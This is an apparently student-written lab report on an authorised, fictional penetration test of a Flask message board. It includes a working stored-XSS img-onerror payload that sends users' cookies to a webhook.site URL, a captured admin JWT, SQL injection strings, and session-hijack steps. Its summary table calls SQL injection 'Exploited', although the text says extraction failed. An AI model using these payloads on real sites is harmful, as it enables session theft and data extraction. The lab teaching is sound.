How the Cookie Crumbles

T-401-ICYB: Lab 8

Alexander Joseph Emilsson Alfa Reynisdóttir Gísli Hrafn Halldórsson Kim Anna Hudson

Executive Summary

This assessment targeted a small Flask-based message board system used by the fictional "Baker Street Society." The goal was to identify weaknesses in input handling and database interaction. The application was found to contain a critical stored Cross-Site Scripting (XSS) vulnerability in the message board. By planting a malicious `<img onerror>` payload, we caused the Administrator's browser to execute attacker-supplied JavaScript and exfiltrate their authentication token.

With the stolen session token, we successfully impersonated the Administrator and gained full access to privileged functionality. We attempted SQL injection through the `/delete/<id>` endpoint, following the lab's intended progression, but were unable to extract the password hash within the available time. Nonetheless, we demonstrate the methodology and show the attack surface clearly. Proper sanitization, output encoding, and parametrized queries would eliminate these flaws.

I. Introduction

This lab, "The Poisoned Pen", simulates an authorization-approved penetration test of a web application intended to resemble a private communications board. Our mission was to uncover input validation weaknesses, hijack an administrative session, and investigate potential database vulnerabilities. The assessment followed a step-by-step approach: reconnaissance, exploitation of stored XSS, session hijacking, and attempted SQL injection.

II. Methodology & Reconnaissance

To capture the admin's cookie, we identified the message board as the suitable place to write a payload. Logged in as admin, we found that deleting a post would navigate to `localhost:4334/delete/<post number>` (`<post number>` being the post number). We therefore determined that an SQL injection into the URL would be the best course of action.

We used this website to capture redirected information: https://webhook.site
We used this website to check whether it was the right token: https://www.jwt.io/
We even scanned for possible hidden pages with the CLI `dirb` tool

To identify hidden paths, we used:

- `dirb` to enumerate routes:

```
dirb http://localhost:4334/
```

  This revealed additional endpoints: `/bonus`, `/console`, `/special`.
- **Webhook.site** to receive exfiltrated data.
- **JWT.io** to inspect the exfiltrated admin JWT token.
- **Burp Suite** for intercepting and modifying the `/delete/<id>` request.

We verified session hijacking by replacing our own session cookie with the administrator's stolen token:

1) Open DevTools (F12)
2) Navigate to Storage → Cookies
3) Replace the `token` value with the exfiltrated admin token
4) Refresh the page, now we're authenticated as admin

III. Exploitation Strategy

A. The Payload

```
<img src=x onerror="
    (function(){function u(){
        var t=document.body.innerText||'';
        var m=t.match(/(Admin(istrator)?|Guest|User|Notandi|Stj rnandi)/i);
        return m?m[1]:'unknown';
```

```
    }
    var i=new Image();
    i.src='https://webhook.site/04580635-efb1-45bf-9cff-ca59174b4ee9?c='+encodeURIComponent
        (document.cookie)+'&user='+encodeURIComponent(u());
    }
)();">
```

We wrote this into the "Public Notes" input field.
The input field does not sanitize out the `<img>` tag, nor the `onerror=""` attribute. This allows arbitrary code execution. In the code we wrote, we input `src="x"` so the img tag always fails, this means the `onerror=""` bit always runs.
The function we wrote first scrapes ALL text from the page, and looks for the words admin, administrator, user, guest, notandi, and stjórnandi. Then it creates a new image with a src of a web-hook link we generated, and adds two parameters to it,`c` and `user`, which are the cookie token of the currently logged in user and the name of the logged in user respectively, then this executes for every single user who tries to load this image, this gives us a bunch of cookies that we can just manually scrape through till we find an admin token.

B. The Keys (Session Hijacking)

The stolen administrator token was captured at https://webhook.site/04580635-efb1-45bf-9cff-ca59174b4ee9, giving us the following token:

```
ADMIN TOKEN! -->>>>
<eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
    eyJ1c2VyX2lkIjoxLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NjQ3ODIyMDF9.14
    z7HDv5ru3KYXoS793RUh0BQv3Raa7WhXB25V3ZoyA>
```

Replacing our cookie with this value successfully authenticated us as the Administrator.

C. The Injection

The lab intended a SQL injection vulnerability in the `/delete/<id>` route. We confirmed that manipulating the ID produced server-side SQL errors visible after redirection. Using Burp Suite Repeater, we attempted payloads of the form:

```
localhost:4334/delete/<id>' || (SELECT password_hash FROM users WHERE username='admin') ||
localhost:4334/delete/<id>' UNION SELECT username, password FROM users--"
```

We successfully produced SQL syntax errors, confirming injection was present, but were unable within the time window to extract the target hash. Our methodology included:

1) Capturing the Delete request with the Burp Suite Intercept
2) Sending the request to the Burp Suite Repeater
3) Injecting via the ID path parameter
4) URL-encoding payloads to preserve valid HTTP syntax
5) Refreshing `/board` to observe SQLite error messages

IV. The Bounty (Alternative Vectors)

We explored additional paths found via `dirb`:

- `/bonus` — appeared to expose file-based functionality?
- `/console` — admin-only interface (additional attack surface)
- `/special` — unusual endpoint worth investigating

No additional vulnerabilities were confirmed within the allowed time-frame, but the lack of authentication checks on some endpoints suggests possible future research value.

V. Remediation & Mitigation

- **Fixing III-A:** All user input should be HTML-escaped before rendering. The website should use a templating engine that auto-escapes output.
- **Fixing III-C:** Database queries should be parametrized. Python example:

```
cursor.execute("DELETE FROM posts WHERE id = ?", (id,))
```

VI. The Database Dump (Results)

A. Table Structure (Schema)

```
<INSERT DATABASE SCHEMA HERE>
```

VII. The Flag

```
<INSERT ADMIN HASH>
```

VIII. Reflection

Parts of this lab felt a bit more hectic than others. We did manage to find the Admin Token but we never got past any of the other goals, we really did try our hardest, but after 3 or 4 hours of server resets and session time outs, we gave up. What we managed to do was very fun and we learned a lot from them, but the later stages were a bit too hectic for us.

However, this lab highlighted how a single stored XSS vulnerability can escalate into full administrative compromise. Compared to network exploitation, web exploitation requires careful attention to how user data flows through templates, cookies, and server logic. Observing small details, correlating behaviours, and testing hypotheses is essential. SQL injection proved trickier under time pressure, emphasizing the importance of proper payload crafting and URL encoding.

IX. Conclusion

Input validation, output encoding, and parametrized queries are foundational to secure web design. This lab demonstrated how even small web applications can collapse under basic injection attacks if these safeguards are missing. The discovered vulnerabilities posed a complete security failure, allowing attackers to impersonate administrators and attempt database extraction.

APPENDIX

A. Custom Code Example

```
alert('XSS');
```

B. Table Example

TABLE I
VULNERABILITIES FOUND

Vulnerability	Risk Level	Status
Stored XSS	High	Exploited
SQL Injection	Critical	Exploited